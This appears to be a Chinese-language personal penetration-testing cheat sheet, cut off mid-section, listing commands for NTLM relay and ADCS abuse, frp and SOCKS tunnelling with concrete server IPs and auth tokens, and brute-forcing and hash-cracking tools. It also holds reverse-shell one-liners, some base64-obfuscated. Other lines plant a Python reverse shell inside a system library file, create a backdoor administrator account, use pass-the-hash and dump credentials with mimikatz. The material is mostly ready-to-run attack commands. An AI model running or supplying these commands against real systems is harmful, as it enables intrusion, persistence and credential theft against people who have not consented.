use exploit/windows/smb/smb_relay # 用 Metasploit 的 smb_relay 模块对目标进行 SMB 中继攻击

PetitPotam

1
2
PetitPotam.py -d <domain> <listener_ip> <target_ip>	
PetitPotam.py -d example.local 192.168.1.100 192.168.1.50 # 示例

无SMB签名|| 开启IPv6 || ADCS

MS08-068

1
use exploit/windows/smb/smb_relay #常用于windows2003 / windows server2008
1
2
responder -I eth0 # 启动 Responder 来监听和捕获网络中的认证请求,记得先关闭本机的 smb 和 http 服务
ntlmrelayx.py -tf targets.txt # 将捕获的 NTLM 认证请求中继到目标机器上,绕过身份验证,获得访问权限。

mitm6 -i eth0 -d

1
2
3
4
5
6
7
8
9
10
11
12
13
mitm6 -i eth0 -d example.local	# 劫持域名进行监听

# 启动了一个针对 NTLM 认证请求的中继服务,并通过中继身份验证请求来获取访问目标系统的权限。
ntlmrelayx.py -6 -wh <attacker_ip> -l /tmp -socks -debug

# 同上,指定了中继目标为 SMB 协议
ntlmrelayx.py -6 -wh <attacker_ip> -t smb://<target> -l /tmp -socks -debug

# 同上, 中继目标是 LDAP 服务
ntlmrelayx.py -t ldaps://<dc_ip> -wh <attacker_ip> --delegate-access

# 通过 Kerberos 认证来获取 服务票证,然后使用该票证伪装成指定用户,绕过身份验证并访问目标系统。
getST.py -spn cifs/<target> <domain>/<netbios_name>\$ -impersonate <user>

ADCS

1
2
3
4
5
# 通过伪造认证信息对ADCS服务请求域控制器证书。
ntlmrelayx.py -t http://<dc_ip>/certsrv/certfnsh.asp -debug -smb2support --adcs --template DomainController

# 请求一个 TGT(Ticket Granting Ticket),并将其注入到当前的会话中。
Rubeus.exe asktgt /user:<user> /certificate:<base64-certificate> /ptt

内网穿透

Neo-reGeorg

1
python neoreg.py -k password -u http://xx/tunnel.php   

frp

1
2
./frps -c ./frps.toml
./frpc -c ./frpc.toml
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#frpc.toml
serverAddr = "124.70.209.177"
serverPort = 12331
auth.token = "D74641A4-8AD7-FDCC-8C13-7AD50F222E2D"
webServer.addr = "127.0.0.1"
webServer.port = 7766
webServer.user = "admin"
webServer.password = "admin888"

[[proxies]]
name = "socks5"
type = "tcp"
remotePort = 12333
[proxies.plugin]
type = "socks5"

[[proxies]]
name = "admin_ui"
type = "tcp"
localPort = 7766
remotePort = 12334
1
2
3
4
5
6
7
#frps.toml
bindPort = 12331
auth.token = "D74641A4-8AD7-FDCC-8C13-7AD50F222E2D"
webServer.addr = "0.0.0.0"
webServer.port = 13332
webServer.user = "admin"
webServer.password = "admin888"

反弹shell

1
2
3
4
5
6
7
8
9
10
11
nc 47.120.32.120 10000| /bin/bash | nc 47.120.32.120 10001      #双通道

busybox nc 10.2.26.216 7777 -e sh

bash -c 'bash -i >& /dev/tcp/10.2.26.216/7777 0>&1'

bash -c "$(base64 -d<<<YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4yLjI2LjIxNi83Nzc3IDA+JjE=)"

echo YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4yLjI2LjIxNi83Nzc3IDA+JjEnCg==|base64 -d|bash

bash<<<$(base64 -d<<<YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4yLjI2LjIxNi83Nzc3IDA+JjEnCg==)

优化tty

1
2
3
4
5
6
python3 -c 'import pty; pty.spawn("/bin/bash")'
export SHELL=bash
export TERM=xterm-256color
# ctrl+Z
stty raw -echo;fg
reset

添加管理员RDP

有时需要配置防火墙允许3389端口

1
2
3
net user bridge huawei /add
net localgroup administrators bridge /add
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

工具/命令

amass

子域名收集方法集成

1
amass -d kali.org	# 不推荐,将耗费极其长的时间
1
2
3
4
子命令:
amass intel - 发现枚举目标
amass enum - 执行枚举和网络映射
amass db - 管理存储枚举结果的图数据库

intel

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
用法:amass intel [options] [-whois -d DOMAIN] [-addr ADDR -asn ASN -cidr CIDR]

-active
尝试获取证书名称
-addr 值
IP 地址和地址范围 (192.168.1.1-254),以逗号分隔
-asn 值
ASN 以逗号分隔(可多次使用)
-cidr 值
CIDR 以逗号分隔(可多次使用)
-config 字符串
YAML 配置文件的路径。以下为更多详细信息
-d 值
域名以逗号分隔(可多次使用)
-demo
审查输出以使其适合演示
-df 值
提供根域名的文件路径
-dir 字符串
包含输出文件的目录路径
-ef 字符串
提供要排除的数据源的文件路径
-exclude 值
以逗号分隔的要排除的数据源名称
-h 显示程序使用信息
-help
显示程序使用信息
-if 字符串
提供要包含的数据源的文件路径
-include 值
以逗号分隔的要包含的数据源名称
-ip
显示已发现名称的 IP 地址
-ipv4
显示已发现名称的 IPv4 地址
-ipv6
显示已发现名称的 IPv6 地址
-list
打印其他信息
-log 字符串
写入错误的日志文件路径
-max-dns-queries 整数
最大并发 DNS 查询数
-o 字符串
包含终端 stdout/stderr 的文本文件路径
-org 字符串
根据 AS 描述信息提供的搜索字符串
-p 值
端口号(以逗号分隔)(默认值:80, 443)
-r 值
首选 DNS 解析器的 IP 地址(可多次使用)
-rf 值
提供首选 DNS 解析器的文件路径
-timeout 整数
退出前允许枚举运行的分钟数
-v 输出状态/调试/故障排除信息
-whois
所有提供的域名均经过反向 whois 查询

enum

1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
用法:amass 枚举 [选项] -d DOMAIN

-active
尝试区域传输和证书名称抓取
-addr 值
IP 地址和地址范围 (192.168.1.1-254),以逗号分隔
-alts
启用更改名称生成
-asn 值
ASN 以逗号分隔(可多次使用)
-aw 值
用于更改名称的不同词表文件的路径
-awm 值
用于名称更改的“hashcat 风格”词表掩码
-bl 值
不予调查的子域名黑名单
-blf 字符串
提供黑名单子域名的文件路径
-brute
搜索后执行暴力破解
-cidr 值
CIDR 以逗号分隔(可多次使用)
-config 字符串
YAML 配置文件的路径。以下为更多详细信息
-d 值
域名以逗号分隔(可多次使用)
-demo
审查输出以使其适合演示
-df 值
提供根域名的文件路径
-dir 字符串
包含输出文件的目录路径
-dns-qps 整数
所有解析器每秒的最大 DNS 查询数
-ef 字符串
提供要排除的数据源的文件路径
-exclude 值
要排除的数据源名称以逗号分隔
-h 显示程序使用信息
-help
显示程序使用信息
-if 字符串
提供要包含的数据源的文件路径
-iface 字符串
提供用于发送流量的网络接口
-include 值
要包含的数据源名称以逗号分隔
-list
打印所有可用数据源的名称
-log 字符串
将写入错误的日志文件路径
-max-depth 整数
用于暴力破解的最大子域名标签数量
-max-dns-queries 整数
已弃用且将被替换的标志由 dns-qps 在 4.0 版本中提供
-min-for-recursive int
递归暴力破解前看到的子域名标签(默认值:1)(默认 1)
-nf 值
提供已知子域名(来自其他工具/来源)的文件路径
-nocolor
禁用彩色输出
-norecursive
关闭递归暴力破解
-o 字符串
包含终端 stdout/stderr 的文本文件路径
-oA 字符串
用于命名所有输出文件的路径前缀
-p 值
以逗号分隔的端口(默认值:80, 443)
-passive
已弃用,因为默认设置是 passive
-r 值
不受信任 DNS 解析器的 IP 地址(可多次使用)
-rf 值
提供不受信任 DNS 解析器的文件路径
-rqps int
每个不受信任解析器每秒的最大 DNS 查询次数
-scripts 字符串
包含 ADS 的目录路径脚本
-silent
执行期间禁用所有输出
-timeout int
退出前枚举运行的分钟数
-tr 值
可信 DNS 解析器的 IP 地址(可多次使用)
-trf 值
提供可信 DNS 解析器的文件路径
-trqps int
每个可信解析器每秒的最大 DNS 查询次数
-v 输出状态/调试/故障排除信息
-w 值
用于暴力破解的不同字典文件的路径
-wm 值
用于 DNS 暴力破解的“hashcat 风格”字典掩码

bash

1
/lib/x86_64-linux-gnu/ld-linux-x86–64.so.2 /bin/bash	# 以动态链接库启动bash,可以突破额外添加在原本bash上的限制,例如ash

crontab

1
crontab -l	# 查看当前用户的 cron 任务

cs

1
2
3
4
# 服务端teamserver
./teamserver 192.168.1.100 mypassword123 # 启动,设置了ip地址和密码,默认端口为50050,端口进文件里改,这是个sh文件。


curl

1

danted

内网穿透

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# 设置配置文件 /etc/danted.conf
logoutput: /var/log/danted.log
internal: 0.0.0.0 port = 59999 # 监听所有 IP 的 1080 端口
external: 103.199.16.14 # 替换为你的公网 IP
clientmethod: none
socksmethod: none
user.privileged: proxy
user.unprivileged: nobody
client pass {
from: 0.0.0.0/0 to: 0.0.0.0/0
log: connect disconnect error
}
socks pass {
from: 0.0.0.0/0 to: 10.10.0.0/16 # 仅允许访问 10.10.xxx.xxx
log: connect disconnect error
}
1
systemctl restart danted	# 启动

df

检查磁盘空间使用情况

显示所有挂载的文件系统的可用空间和已用空间,包括每个文件系统的总大小、已用空间、可用空间以及已用空间的百分比

存在**/sys/fs/cgroup**,说明你在docker容器里

1
2
3
4
5
6
7
8
9
10
root@7546fa2336d6:/# df
Filesystem 1K-blocks Used Available Use% Mounted on
overlay 20509264 7633420 11810988 40% /
tmpfs 65536 0 65536 0% /dev
tmpfs 245328 0 245328 0% /sys/fs/cgroup
shm 65536 0 65536 0% /dev/shm
/dev/xvda1 20509264 7633420 11810988 40% /opt/clean
tmpfs 245328 0 245328 0% /proc/acpi
tmpfs 245328 0 245328 0% /proc/scsi
tmpfs 245328 0 245328 0% /sys/firmware

dirsx

目录扫描

1
.\dirsx.exe -u http://10.10.80.155/

dpkg

1
dpkg -i rustscan_2.4.1-1_amd64.deb	# 基于 Debian 的 Linux 发行版(如 Debian、Ubuntu 及其衍生版)从 .deb 文件安装软件包

echo

1
2
3
echo 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.2.26.216",7777));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")' >> /usr/lib/python3.8/base64.py

echo 'bash -i >& /dev/tcp/10.2.26.216/7777 0>&1' >> clean.sh

evil-winrm

1
2
# 使用 PtH 连接到 WinRM
evil-winrm -i VICTIM_IP -u MyUser -H NTLM_HASH

exiftool

读取、写入和操作图像、音频、视频和 PDF 元数据。

export

1
export IP=*.*.*.*	# 设置环境变量

feroxbuster

目录扫描

rust,很快

1
2
feroxbuster -u http://10.10.28.167/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
feroxbuster -u http://10.10.147.99/ -w /usr/share/wordlists/dirb/big.txt

ffuf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
ffuf -u http://10.10.235.83/yaml -H "Content-Type: application/json" -X POST -d '{"file_path":"FUZZ.yaml"}' -w wordlist.txt

ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u https://WIN-12OUO7A66M7.thm.local/FUZZ -fw 1

# 子域名
ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt -u https://futurevera.thm -H "Host:FUZZ.futurevera.thm" -fw 1 -c
ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt -u https://10.10.154.132 -H "Host:FUZZ.futurevera.thm" -fs 4605 -c # -u 最好用ip,而不是域名,用域名有时爆不出
ffuf -w SecLists/Discovery/Web-Content/common.txt -H "Host: FUZZ.futurevera.thm" -u https://10.10.140.236 -fs 4605 -c

# POST参数
ffuf -u 'http://admin.cyprusbank.thm/settings' -X POST -H 'Content-Type: application/x-www-form-urlencoded' -H 'Cookie: connect.sid=s%3AMwjzKA3EcBUXIsqGNDDaHARGh5B7JYwk.jwhk7KbGBNbC46HXtU8Ln%2BqMzdigbh1ZTMDnal6RC24' -mc all -d 'name=test&password=test&FUZZ=test' -w /usr/share/seclists/Discovery/Web-Content/raft-small-words-lowercase.txt -t 100 -fs 2098

ffuf -w wordlists/sql-login-bypass.txt -X POST -u http://10.10.236.146/login.php -d 'username=FUZZ&password=asdf' -H "Content-Type: application/x-www-form-urlencoded; charset=UTF-8" -fw 227

# GET参数
ffuf -u 'http://10.10.29.18/assets/index.php?FUZZ=id' -mc all -ic -t 100 -w /usr/share/seclists/Discovery/Web-Content/raft-small-words-lowercase.txt -fs 0

参数说明

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
HTTP 选项:
-H 标头“Name: Value”,以冒号分隔。接受多个 -H 参数。
-X 使用的 HTTP 方法
-b Cookie 数据“NAME1=VALUE1; NAME2=VALUE2”,用于复制为 curl 功能。
-cc 用于身份验证的客户端证书。客户端密钥也需要定义才能正常工作。
-ck 用于身份验证的客户端密钥。客户端证书也需要定义才能正常工作。
-d POST 数据
-http2 使用 HTTP2 协议(默认值:false)
-ignore-body 不获取响应内容。(默认值:false)
-r 遵循重定向(默认值:false)
-raw 不编码 URI(默认值:false)
-recursion 递归扫描。仅支持 FUZZ 关键字,并且 URL (-u) 必须以此关键字结尾。(默认值:false)
-recursion-depth 最大递归深度。 (默认值:0)
-recursion-strategy 递归策略:“default”表示基于重定向,“greedy”表示对所有匹配项进行递归(默认值:default)
-replay-proxy 使用此代理重放匹配的请求。
-sni 目标 TLS SNI,不支持 FUZZ 关键字。
-timeout HTTP 请求超时时间(秒)。(默认值:10)
-u 目标 URL
-x 代理 URL(SOCKS5 或 HTTP)。例如:http://127.0.0.1:8080 或 socks5://127.0.0.1:8080

常规选项:
-V 显示版本信息。(默认值:false)
-ac 自动校准过滤选项(默认值:false)
-acc 自定义自动校准字符串。可多次使用。隐含 -ac
-ach 每台主机自动校准(默认值:false)
-ack 自动校准关键字(默认值:FUZZ)
-acs 自定义自动校准策略。可多次使用。隐含 -ac
-c 为输出着色。(默认值:false)
-config 从文件加载配置
-json JSON 输出,打印以换行符分隔的 JSON 记录(默认值:false)
-maxtime 整个进程的最大运行时间(秒)。(默认值:0)
-maxtime-job 每个作业的最大运行时间(秒)。(默认值:0)
-noninteractive 禁用交互式控制台功能(默认值:false)
-p 请求之间的“延迟”秒数,或随机延迟范围。例如“0.1”或“0.1-2.0”
-rate 每秒请求速率(默认值:0)
-s 不打印附加信息(静默模式)(默认值:false)
-sa 所有错误情况下停止。隐含 -sf 和 -se。 (默认值:false)
-scraperfile 自定义抓取文件路径
-scrapers 活动抓取组(默认值:全部)
-se 出现虚假错误时停止(默认值:false)
-search 从 ffuf 历史记录中搜索 FFUFHASH 负载
-sf 当超过 95% 的响应返回 403 Forbidden 时停止(默认值:false)
-t 并发线程数(默认值:40)
-v 详细输出,打印完整 URL 和重定向位置(如果有)以及结果。(默认值:false)

匹配器选项:
-mc 匹配 HTTP 状态码,或使用“all”匹配所有内容。(默认值:200-299、301、302、307、401、403、405、500)
-ml 匹配响应中的行数
-mmode 匹配器集合运算符。可选:and 或 or(默认:or)
-mr 匹配正则表达式
-ms 匹配 HTTP 响应大小
-mt 匹配距第一个响应字节的毫秒数,大于或小于。例如:>100 或 <100
-mw 匹配响应中的字数

过滤选项:
-fc 过滤响应中的 HTTP 状态码。以逗号分隔的代码和范围列表
-fl 按响应中的行数过滤。以逗号分隔的行数和范围列表
-fmode 过滤集合运算符。可选:and 或 or(默认:or)
-fr 过滤正则表达式
-fs 过滤 HTTP 响应大小。以逗号分隔的大小和范围列表
-ft 按距第一个响应字节的毫秒数过滤,大于或小于。例如:>100 或 <100
-fw 按响应中的字数过滤。以逗号分隔的字数和范围列表

输入选项:
-D DirSearch 词表兼容模式。与 -e 标志一起使用。(默认值:false)
-e 以逗号分隔的扩展列表。扩展 FUZZ 关键字。
-enc 关键字编码器,例如“FUZZ:urlencode b64encode”
-ic 忽略词表注释(默认值:false)
-input-cmd 生成输入的命令。使用此输入法时需要 --input-num 参数。覆盖 -w 参数。
-input-num 待测试的输入数量。与 --input-cmd 参数一起使用。(默认值:100)
-input-shell 用于运行命令的 Shell。
-mode 多词表操作模式。可用模式:clusterbomb、pitchfork、sniper(默认值:clusterbomb)
-request 包含原始 http 请求的文件
-request-proto 与原始请求一起使用的协议(默认值:https)
-w 单词列表文件路径和(可选)关键字,以冒号分隔。例如:'/path/to/wordlist:KEYWORD'

输出选项:
-debug-log 将所有内部日志写入指定文件。
-o 输出到文件
-od 存储匹配结果的目录路径。
-of 输出文件格式。可用格式:json、ejson、html、md、csv、ecsv(或“all”表示所有格式)(默认值:json)
-or 如果没有结果,则不创建输出文件(默认值:false)

示例用法:
从 wordlist.txt 中模糊测试文件路径,匹配所有响应,但过滤掉内容大小为 42 的响应。
彩色详细输出。
ffuf -w wordlist.txt -u https://example.org/FUZZ -mc all -fs 42 -c -v

模糊测试主机头,匹配 HTTP 200 响应。
ffuf -w hosts.txt -u https://example.org/ -H "Host: FUZZ" -mc 200

模糊测试 POST JSON 数据。匹配所有不包含文本“error”的响应。
ffuf -w entrys.txt -u https://example.org/ -X POST -H "Content-Type: application/json" \
-d '{"name": "FUZZ", "anotherkey": "anothervalue"}' -fr "error"

模糊测试多个位置。仅匹配反映“VAL”关键字值的响应。颜色已显示。
ffuf -w params.txt:PARAM -w values.txt:VAL -u https://example.org/?PARAM=VAL -mr "VAL" -c

find

1
2
find / -name "Foo.txt" 2>/dev/null  # 查找名为Foo.txt的文件的路径
find / -iname "*foo*txt" 2>/dev/null # 文件名模糊查找

ftp

1
2
3
ftp 10.10.229.201

anonymous #匿名登录用户名

常用操作

1
2
3
4
5
6
7
8
9
10
ftp> ls
ftp> ls -lha
ftp> pwd
ftp> dir
ftp> cd /path/to/directory # 进入目标目录
ftp> put local_file # 上传本地文件到服务器
ftp> get remote_file # 下载服务器文件到本地
ftp> mput *.txt # 批量上传(通配符)
ftp> mget *.pdf # 批量下载
ftp> bye # 或 exit、quit

设置传输模式

1
2
ftp> binary    # 二进制模式(适用于图片、压缩包等)
ftp> ascii # 文本模式(适用于纯文本文件)

gobuster

目录扫描/子域名扫描

1
2
3
4
5
6
7
8
9
10
11
# 目录扫描
gobuster dir -u http://10.10.147.99/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
gobuster dir -u http://cyprusbank.thm/ -w /usr/share/wordlists/dirb/big.txt
gobuster dir -u http://10.10.80.155/ -w /usr/share/wordlists/dirb/big.txt -b 403 #忽略403

gobuster vhost -k --domain creative.thm --append-domain -u http://10.10.54.137 -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -t 100 # 子域名爆破

gobuster fuzz -u "http://beta.creative.thm/" -m POST \
-B 'url=http://127.0.0.1:FUZZ' -w ports.txt \
-H 'Content-Type: application/x-www-form-urlencoded' \
--exclude-length 13 -t 20 # 通过ssrf探测内部可访问端口

hashcat

1
2
3
hashcat -a 0 -m 0 64e39c60d69afe351b48472307add2c5 /usr/share/wordlists/rockyou.txt
# -a 0 设置攻击模式为字典攻击
# -m 0 设置破解 MD5 散列的哈希模式

hexeditor

二进制编辑

1
hexeditor -b oneforall.jpg	# 打开编辑页面,暂未找到如何覆盖式粘贴

hydra

1
2
3
4
5
6
hydra -l jose -P /usr/share/wordlists/rockyou.txt lookup.thm http-post-form "/login.php:username=^USER^&password=^PASS^:Wrong" -V
hydra -l email@company.xyz -P /path/to/wordlist.txt smtp://10.10.x.x
# -l 用户名,大写指定字典文件,小写指定字符串
# -P 密码,同上
# -v 详细模式

历史:

1
hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.10.147.99 http-post-form "/login.php:username=^USER^&password=^PASS^:failed" -V

Patrick

karen

Martin

Impacket

psexec

1
2
# 使用 PtH 通过 psexec 连接
psexec.py -hashes NTLM_HASH DOMAIN/MyUser@VICTIM_IP

john

1
2
3
4
john --wordlist=clinic.txt --rules=KoreLogic --stdout >> passwords.txt	#基于规则生成密码字典

keepass2john dataset.kdbx > dataset.john
john dataset.john

将各种文件转换到john格式的命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
# 用法示例
# keepass2john dataset.kdbx > dataset.john
# john dataset.john
1password2john
7z2john
aruba2john
applenotes2john
adxcsouf2john
androidbackup2john
apex2john
ansible2john
aix2john
andotp2john
aem2john
atmail2john
androidfde2john
axcrypt2john
bitlocker2john
bitcoin2john
bitshares2john
blockchain2john
bestcrypt2john
bks2john
bitwarden2john
cracf2john
cisco2john
ccache2john
dmg2john
dmg2john
diskcryptor2john
DPAPImk2john
dashlane2john
deepsound2john
electrum2john
ecryptfs2john
ejabberd2john
ethereum2john
enpass2john
encfs2john
filezilla2john
gpg2john
geli2john
hccap2john
hccapx2john
htdigest2john
iwork2john
itunes_backup2john
ibmiscanner2john
ikescan2john
keepass2john
keystore2john
keychain2john
keyring2john
kwallet2john
kirbi2john
krb2john
kdcdump2john
known_hosts2john
lotus2john
ldif2john
luks2john
libreoffice2john
lion2john
lastpass2john
mcafee_epo2john
monero2john
mozilla2john
money2john
multibit2john
mosquitto2john
mac2john
neo2john
openssl2john
openbsd_softraid2john
office2john
putty2john
pfx2john
pcap2john
prosody2john
pgpsda2john
pgpdisk2john
ps_token2john
padlock2john
pem2john
pwsafe2john
pgpwde2john
pdf2john
pse2john
rar2john
racf2john
restic2john
radius2john
signal2john
sipdump2john
sspr2john
ssh2john
strip2john
sap2john
sense2john
staroffice2john
truecrypt2john
telegram2john
tezos2john
uaf2john
vncpcap2john
vmx2john
vdi2john
wpapcap2john
zip2john
zed2john

手册

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
John the Ripper 1.9.0-jumbo-1+bleeding-aec1328d6c 2021-11-02 10:45:52 +0100 OMP [linux-gnu 64 位 x86_64 AVX AC]
版权所有 (c) 1996-2021 Solar Designer 及其他
主页:https://www.openwall.com/john/

用法:john [OPTIONS] [PASSWORD-FILES]

--help 打印使用摘要
--single[=SECTION[,..]] “单一破解”模式,使用默认或命名规则
--single=:rule[,..] 同上,使用“立即破解”规则
--single-seed=WORD[,WORD] 在单一模式下为所有盐添加静态种子词
--single-wordlist=FILE包含静态种子词/词素的*简短*单词表
--single-user-seed=FILE 包含每个用户名的种子词表(用户名:密码[s] 格式)
--single-pair-max=N 覆盖最大值。生成的单词对数量 (6)
--no-single-pair 禁用单个单词对生成
--[no-]single-retest-guess 覆盖 SingleRetestGuess 的配置
--wordlist[=FILE] --stdin 单词列表模式,从 FILE 或 stdin 读取单词
--pipe 类似 --stdin,但批量读取,并允许规则
--rules[=SECTION[,..]] 启用单词重排规则(用于单词列表或 PRINCE 模式),使用默认或命名规则
--rules=:rule[;..]] 同上,使用“立即生效”规则
--rules-stack=SECTION[,..] 堆叠规则,应用于常规规则之后或不支持规则的模式
--rules-stack=:rule[;..] 同上,使用“立即生效”规则
--rules-skip-nop 跳过任何 NOP ":" 规则(您已运行但未使用规则)
--loopback[=FILE] 与 --wordlist 类似,但从 .pot 文件中提取单词
--mem-file-size=SIZE 单词列表预加载的大小阈值(默认 2048 MB)
--dupe-suppression 抑制单词列表中的所有重复项(并强制预加载)
--incremental[=MODE] “增量”模式 [使用 MODE 部分]
--incremental-charcount=N 增量模式下覆盖 CharCount
--external=MODE 外部模式或单词过滤器
--mask[=MASK] 使用 MASK 的掩码模式(或 john.conf 中的默认值)
--markov[=OPTIONS] “马尔可夫”模式(参见 doc/MARKOV)
--mkv-stats=FILE “马尔可夫”统计文件
--prince[=FILE] PRINCE 模式,从 FILE 读取单词
--prince-loopback[=FILE] 从 .pot 文件中提取单词文件
--prince-elem-cnt-min=N 每条链的最小元素数 (1)
--prince-elem-cnt-max=[-]N 每条链的最大元素数(负 N 相对于单词长度)(8)
--prince-skip=N 初始跳过次数
--prince-limit=N 生成的候选字符数限制
--prince-wl-dist-len 计算单词表的长度分布
--prince-wl-max=N 仅从输入单词表中加载 N 个单词
--prince-case-permute 首字母大小写置换
--prince-mmap 内存映射文件(大小写置换不可用)
--prince-keyspace 仅显示将生成的总键空间
(忽略跳过次数和限制)
--subsets[=CHARSET] “子集”模式(参见 doc/SUBSETS)
--subsets-required=N “子集”字符集的前 N ​​个字符是
“必需集”
--subsets-min-diff=N 子集中的最小唯一字符数
--subsets-max-diff=[-]N 子集中的最大唯一字符数(负 N 相对于字长)
--subsets-prefer-short 优先选择较短的候选字符,而不是较小的子集
--subsets-prefer-small 优先选择较小的子集,而不是较短的候选字符
--make-charset=FILE 创建一个字符集,FILE 将被覆盖
--stdout[=LENGTH] 仅输出候选密码 [截取长度]
--session=NAME 为新会话指定 NAME
--status[=NAME] 打印会话状态 [名为 NAME]
--restore[=NAME] 恢复中断的会话 [名为 NAME]
--[no-]crack-status 每当密码被破解时发出状态行
--progress-every=N 每 N 秒发出一次状态行
--show[=left] 显示已破解密码 [如果 =left,则表示未破解]
--show=formats 显示文件中哈希值的信息 (JSON)
--show=invalid 显示对所选格式无效的行
--test[=TIME] 每次运行测试和基准测试,每次持续 TIME 秒
(如果 TIME 明确为 0,则测试不进行基准测试)
--stress-test[=TIME] 永久循环自检
--test-full=LEVEL 运行更彻底的自检
--no-mask 与 --test 一起使用,用于不带 mask 的备用基准测试
--skip-self-tests 跳过自检
--users=[-]LOGIN|UID[,..] 仅加载此(这些)用户
--groups=[-]GID[,..] 仅加载不属于此(这些)组的用户
--shells=[-]SHELL[,..] 仅加载使用此(这些)shell 的用户
--salts=[-]COUNT[:MAX] 加载包含 COUNT 个哈希值的 salt,或者
--salts=#M[-N] 加载 M 个(到 N 个)最多的 salt
--costs=[-]C[:M][,...] 加载包含成本值 Cn 的 salt [到 Mn]。有关
可调成本参数,请参阅 doc/OPTIONS
--fork=N 分支 N 个进程
--node=MIN[-MAX]/TOTAL 此节点的数量范围超出 TOTAL 数量
--save-memory=LEVEL 启用内存节省,级别 1..3
--log-stderr 记录到屏幕而不是文件
--verbosity=N 更改详细程度(1-5 或 6 用于调试,默认 3)
--no-log 禁用创建和写入 john.log 文件
--bare-always-valid=Y 将裸哈希视为有效(Y/N)
--catch-up=NAME 追赶现有(已暂停)会话 NAME
--config=FILE 使用 FILE 而不是 john.conf 或 john.ini
--encoding=NAME 输入编码(例如 UTF-8、ISO-8859-1)。另请参阅
doc/ENCODINGS。
--input-encoding=NAME 输入编码(--encoding 的别名)
--internal-codepage=NAME 规则/掩码中使用的代码页(参见 doc/ENCODINGS)
--target-encoding=NAME 输出编码(用于 format)
--force-tty 设置终端读取按键,即使我们不是前台进程
--field-separator-char=C 在输入和 pot 文件中使用 'C' 代替 ':'
--[no-]keep-guessing 尝试查找明文冲突
--list=WHAT 列出功能,参见 --list=help 或 doc/OPTIONS
--length=N --min-len=N --max-len=N 的快捷方式
--min-length=N 请求最小候选长度(以字节为单位)
--max-length=N 请求最大候选长度(以字节为单位)
--max-candidates=[-]N 尝试了这么多候选字符后优雅退出。
(如果为负数,则每次破解时重置计数)
--max-run-time=[-]N 在指定秒数后优雅退出(如果为负数,则每次破解时重置计时器)
--mkpc=N 请求降低每次加密的最大密钥数量
--no-loader-dupecheck 加载哈希值时禁用重复检查
--pot=NAME 使用的 Pot 文件
--regen-lost-salts=N 暴力破解未知盐值(参见 doc/OPTIONS)
--reject-printable 拒绝可打印的二进制文件
--tune=HOW 调整选项 (auto/report/N)
--subformat=FORMAT 为 --format=crypt 选择基准格式
--format=[NAME|CLASS][,..] 强制使用 NAME 类型的哈希值。支持的格式可以通过 --list=formats 和 --list=subformats 查看。
有关更高级的格式选择,包括使用类和通配符,另请参阅 doc/OPTIONS。

keepassxc-cli

KeePass数据库命令行管理工具

1
2
3
4
5
6
7
keepassxc-cli open dataset.kdbx	#	打开dataset.kdbx数据库文件,可能要输入密码

# 内部操作
dataset.kdbx> ls # 列出当前路径下的条目
dataset.kdbx> ls -R # 递归列出所有子目录中的条目
dataset.kdbx> show --all /user:password # 查看指定条目的详细信息,显示条目所有字段(包括 UUID、备注等隐藏属性)
dataset.kdbx> show --all --show-protected /user:password # 查看指定条目的详细信息,显示条目所有字段(包括 UUID、备注等隐藏属性),强制显示被保护字段

mimikatz

凭证提取工具

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
# 提升进程权限
mimikatz # privilege::debug
mimikatz # token::elevate

# 从本地 SAM 提取 NTLM 哈希,仅能获取机器上本地用户的哈希
mimikatz # lsadump::sam

# 从 LSASS 内存中提取 NTLM 哈希,可提取任何本地用户以及最近登录到该机器的任何域用户的 NTLM 哈希
